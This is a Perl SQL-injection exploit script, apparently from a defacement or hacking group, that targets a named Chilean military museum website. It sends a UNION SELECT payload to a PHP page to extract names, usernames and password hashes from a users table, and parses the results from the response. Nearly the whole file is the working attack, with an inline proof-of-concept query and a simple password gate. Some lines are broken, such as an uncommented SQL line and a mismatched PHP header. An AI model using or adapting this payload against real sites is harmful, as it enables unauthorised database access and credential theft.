#!/usr/bin/perl
print " \n\nExploter Unico Para Extraccion de Datos del museo Militar de Chile \n\n";

print "\n\n!!Proteccion Scripkiddies Ingrese Pass!! : ";
#

#     * coded by : D4NB4R

#

#     * Contact: d4nb4r@hotmail.com

#

#     *  securitychilean Exploters


my $option=<STDIN>;


#  P0c:

-9999/**/union/**/all/**/select/**/1,2,3,concat(0x3c6e616d653e,nombre,0x3c2f6e616d653e3c7573

65723e,usuario,0x03c2f757365723e3c636c3e,clave,0x3c2f636c3e3c706173733e,password,0x3c2f70617

3733e)/**/from/**/usuarios--
if ($option==8080){
# * TITLE:          Perl_mhm
# * REQUIREMENTS:   PHP 4 / PHP 5
# * LICENSE:        GNU General Public License
# * FILENAME:       Perl_mhm.pl
#----------------------------------------------------------------------------#
########################################
#


print "                   \n";
print "                   \n";
print "                       SecurityChilean                                \n";
print "       ---------------------------------------------------- \n";
print "      |                                            *       | \n";
print "      |  ****   *   *   * *****  ***** ****     *  *  **** |            \n";
print "      |  *  *  * *  **  *  *   * *   * *   *   * *   *     | \n";
print "      |  **** * * * * * *  *   * *   * * **   * * *   ***  | \n";
print "      |  *    *   * *  **  *   * *   * *   *  *   *      * |  \n";
print "      |  *    *   * *   * *****  ***** *    * *   *  ***** |    \n";
print "       ----------------------------------------------------     \n";
########################################
#----------------------------------------------------------------------------#

use LWP::UserAgent;
die "Example: perl $0 *********\n" unless @ARGV;
$contra="d4nb4r";
$name="nombre";
$user="usuario";
$cl="clave";
$pass="password";
$tab="usuarios";

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host =$ARGV[0].
"/html/agenda_02a.php?id=-9999/**/union/**/all/**/select/**/1,2,3,concat(0x3c6e616d653e,".$n

ame.",0x3c2f6e616d653e3c757365723e,".$user.",0x03c2f757365723e3c636c3e,".$cl.",0x3c2f636c3e3

c706173733e,".$pass.",0x3c2f706173733e)/**/from/**/".$tab."--";

$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;

if ($answer =~ /<name>(.*?)<\/name>/){
        print "\nExtrayendo datos by D4NB4R *SecurityChilean* ...\n";
        print "\n

    * nombre : $1\n";

}

if ($answer =~/<user>(.*?)<\/user>/){print "\n

    * usuario : **Proteccion kiddies**";

}

if ($answer =~ /<cl>(.*?)<\/cl>/){

        print "\n

    * clave : md5: Not noobs   cracked : *******";

}

if ($answer =~ /<pass>(.*?)<\/pass>/){

        print "\n

    * password : md5: not noobs  cracked: Not found\n\n";

}

else{print "\n[-] Exploit Failed...\n";}
}
else{print "\nPass Incorrecto\n\n\n";}
print "########################################\n";
print "#-------------------Exploit exploited by D4NB4R --------------------#\n";
print "########################################\n";